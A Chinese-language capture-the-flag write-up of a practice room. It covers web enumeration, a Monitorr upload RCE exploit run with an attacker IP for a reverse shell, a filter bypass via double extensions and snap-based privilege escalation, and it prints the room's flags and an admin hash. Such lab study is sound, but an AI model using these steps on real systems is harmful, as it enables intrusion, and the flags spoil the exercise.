端口扫描

21端口FTP发现不能匿名登录

Web

发现不能直接访问网站,先添加DNS解析

sudo vim /etc/hosts

扫下目录先

gobuster dir -u https://robyns-petshop.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -k

因为是私有证书,要加上-k忽略证书验证

在网站结尾发现pico这个关键词,搜了一下应该是一个CMS

但是搜了一下应该不是同一个东西,利用不了。

在这里发现这个IP对应的域名有好几个,应该是一个主域和几个备用域,试着把这四个都添加到hosts文件里

Getshell

登录monitorr.robyns-petshop.thm,发现了另一个CMS,貌似是一个监管系统。剩下两个看了感觉没什么攻击点

wow,搜到的版本和网站下方的正好对应,加深了对这个思路的信心

searchsploit "Monitorr" -m php/webapps/48980.py

下载脚本

是一个RCE的脚本,输入本地的IP和端口应该就行,先开启监听

python 48980.py https://monitorr.robyns-petshop.thm/ 10.14.52.15 1234

发现报错了哦,又是证书的问题。

编辑脚本,在resquest后面加上verify=False,忽略证书的验证

再次运行,虽然还是报了错。可以打印一下响应看看发生了什么。

被认定为是入侵者,shell上传失败了

在网页中发现有一个叫做isHuman的cookie,值为1。也许我们通过Python来请求没有cookie被认为是入侵者。那就加上cookie。

又报错了,提示不是一个图像,也就是说上传还有类型过滤

看看了WP,用了双重后缀名和大小写的问题来绕过了黑名单

访问/assets/data/usrimg/路径发现成功上传了shell,点击触发。然而浏览器在旋转说明shell是有被触发的,然而并没有监听到。这种情况一般是有防火墙,导致shell没连接。看了大佬的WP,改用80,443端口监听可以试试。(绕过防火墙还没学,接下来再学)

在/var/www目录找到flag1

THM{MjBkOTMyZDgzNGZmOGI0Y2I5NTljNGNl}

提权

现在我们还是www-data身份,大概率要先转移到一个用户的身上

一开始的思路是在web服务中找一下配置文件有没有可能有密码

结果在monitorr的目录中找到了个数据库文件,里面有管理员的哈希

admin$2y$10$q1BI3CSqToALH2Q1r2weLeRpyU7QbonizeVxJnPIieo/drbRSzVT

结果发现爆破不出来捏,也没什么能利用的东西好像。

看WP用SUID来提权,发现一个snap

查看版本

搜索漏洞

我下了第二个,然后开启本地服务器,上传上去

python3 46362.py

成功运行,他好像是添加了一个用户,并给了我们用户和密码,su来转换用户。发现不能用这个命令,应该是shell的交互性不够

python3 -c "import pty;pty.spawn('/bin/bash')"

发现可以了

我们此刻拥有全部权限

sudo /bin/bash

成功提权

root.txt

THM{YjMyZTkwYzZhM2U5MGEzZDU2MDc1NTMx}

看了一下其他WP,发现有师傅用的是CVE-2021-4034来提权。深感差距之大,道阻且长!

碎碎念

第一次接触了https证书相关的渗透房间,也许字后要对备用域名,子域名之类的也要关注一下了。然后这次的exploit也不是单纯跑脚本就行了,还是挺考验底层逻辑还有解决报错的能力的,不然容易成为脚本小子(。总之这个系列的靶机是打完了,还是收货很大的,即使有难度,但是也非常有趣!